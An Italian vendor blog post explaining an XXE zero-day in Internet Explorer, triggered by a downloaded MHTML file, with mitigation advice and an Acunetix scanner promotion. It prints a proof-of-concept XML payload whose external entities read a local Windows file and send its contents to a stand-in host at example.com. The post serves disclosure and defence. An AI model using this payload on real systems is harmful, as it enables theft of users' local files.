Diventa Autore per CoreTech | Scopri di più





Vulnerabilità delle entità esterne XML in Internet Explorer

06/03/20 CoreTech Blog

Quando si sfrutta una tipica vulnerabilità di entità esterne XML (XXE), l'utente malintenzionato tenta di accedere al contenuto dei file su un server Web. Tuttavia, xxE vulnerabilità possono anche consentire all'attaccante di rubare dati privati dall'utente. Tale caso è stato recentemente scoperto da un ricercatore di sicurezza John Page (hyp3rlinx). Si basa su una vulnerabilità zero-day in Internet Explorer.

Anatomia dell'attacco

Fortunatamente per gli utenti di Windows, la vulnerabilità in Internet Explorer non è così facile da sfruttare. Una vittima deve prima scaricare ed eseguire un file di archivio MHTML (.mht). Molti utenti sono già istruiti abbastanza bene per sapere che non dovrebbero eseguire strani file da Internet.

D'altra parte, molte persone considerano i file di archivio MHTML innocui e non hanno ripensamenti durante l'esecuzione. Il file utilizzato nell'attacco proof-of-concept è stato ignorato anche da Windows Defender e SmartScreen.

Di seguito è riportata una descrizione di come è possibile eseguire l'attacco proof-of-concept:

  1. L'aggressore attira la vittima a visitare un sito dannoso. Il sito dannoso contiene un collegamento per scaricare un file di archivio MHTML.
  2. La vittima scarica il file .mht e fa doppio clic su di esso.
  3. Il file .mht viene aperto automaticamente in Internet Explorer ed eseguito:
    a. Il file MHTML contiene una definizione che punta a un file XML sul server dell'utente malintenzionato.
    b. Il file MHTML scarica e include il file XML.
    c. Il file XML incluso contiene una definizione di entità esterna che punta a un file sensibile locale.
    d. Il file MHTML contiene uno script che attiva la funzione di stampa di IE (window.print()).
  4. Il browser della vittima invia una richiesta GET con il contenuto del file sensibile locale al sito dell'attaccante.

Frammento chiave del file MHTML di esempio:

<body>

<xml>

Banner

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY % sp SYSTEM "http://example.com/datatears.xml">

%sp;

%param1;

]>

<r>&exfil;</r>

<r>&exfil;</r>

<r>&exfil;</r>

<r>&exfil;</r>

</xml>

<script>window.print();

</script>

</body>

Il file XML incluso:

<!ENTITY % data SYSTEM "c:\windows\system.ini">

<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://example.com:8000/?%data;'>">

<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">

<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://example.com:8000/?%data;'>">

Per la descrizione completa e il contenuto di tutti i file, vedere il rapporto sulla vulnerabilità originale.

Protezione contro XXE

Nel caso di questo particolare problema, non vi è alcuna protezione diretta fino a quando Microsoft non risolve Internet Explorer. Alcuni software antivirus già riconoscono questo problema e blocca tali file MHTML da scaricare, quindi può essere utile per ridurre il rischio. Ciò che aiuta di più, tuttavia, è quello di educare gli utenti a non scaricare ed eseguire file sconosciuti da Internet, anche se non sono file EXE e anche se l'antivirus non viene attivato.

D'altra parte, le vulnerabilità XXE lato server sono molto comuni nelle applicazioni web. Le vulnerabilità delle entità esterne XML occupano il numero 4 nell'elenco OWASP Top 10 più recente. Fortunatamente, è facile verificare se il tuo sito web o applicazione web è vulnerabile a XXE e altre vulnerabilità eseguendo una scansione web automatizzata utilizzando lo scanner di vulnerabilità Acunetix, che include un modulo scanner XXE specializzato. Chiedi una demo e scopri di più sull'esecuzione di scansioni XXE sul tuo sito web o applicazione web.


Articoli su Acunetix e Hacking

Trovare le vulnerabilità dei siti web prima degli HackerL'importanza della convalida delle correzioni: lezioni da GoogleSDLC agile e sicuro - Best practiceIn che misura le aziende gestiscono la sicurezza delle applicazioni Web?Cross-Origin Resource Sharing (CORS) e intestazione Access-Control-Allow-OriginCosa sono i reindirizzamenti aperti?DevSecOps: come arrivarci da DevOpsIl bigino su SQL Injection per sviluppatoriSfruttare SSTI in ThymeleafSicurezza nginx: come proteggere la configurazione del serverRafforzamento del sistema Web in 5 semplici passaggiCos'è la sicurezza del sito Web - Come proteggere il tuo sito Web dall'hackingRapporto sulle vulnerabilità delle applicazioni Web Acunetix 2020Perché l'elenco delle directory è pericoloso?Cosa sono gli hack di Google?Cosa è l'attacco BEASTWeb Shells in Action - Rilevazione e prevenzione - parte 5Web Shells in Action - parte 4Mantenere le Web Shells sotto copertura - parte 3Introduzione alle web shell - parte 2: 101 Uso di PHPIntroduzione alle web shell - parte 1Debunking 5 miti sulla postura della sicurezza informaticaIniezioni di NoSQL e come evitarleConfigurazione passo passo di Acunetix con JenkinsCosa sono i riferimenti a oggetti diretti non sicuriAnche il più forte cade: un'iniezione SQL in Sophos XG FirewallAcunetix rilascia Business Logic RecorderCome recuperare un sito Web compromessoCome difendersi dagli hacker Black Hat durante la pandemia COVID-19Che cos'è l'inclusione remota dei file (RFI)?Apache Security - 10 consigli per un'installazione sicuraUn nuovo sguardo sugli attacchi correlati al proxy inversoVulnerabilità delle password comuni e come evitarleTutto quello che devi sapere sugli attacchi Man-in-the-MiddleChe cosa sono le iniezioni HTMLRed Teaming – 5 consigli su come farlo in modo sicuroTesta le tue competenze XSS utilizzando siti vulnerabiliPerché hacker malintenzionati hanno messo gli occhi sugli ospedaliPratiche di codifica sicura – I tre principi chiaveLa maledizione delle vecchie librerie JavaMutation XSS nella ricerca GoogleIgnorare SOP utilizzando la cache del browserCome e perché evitare reindirizzamenti e inoltri non convalidati?Dirottamento di sessione e altri attacchi di sessioneCome abbiamo trovato un altro XSS in Google con AcunetixChe cos'è un buffer overflowChe cos'è l'overflow di IntegerChe cos'è HSTS e perché dovrei usarlo?Che cosa è OS Command InjectionVulnerabilità delle entità esterne XML in Internet ExplorerCoreTech assicura protezione dei siti Web con AcunetixCoreTech distributore Acunetix a fianco dei partner per la CyberSecurityCyberSecurity applicativa, nuova opportunità per voi!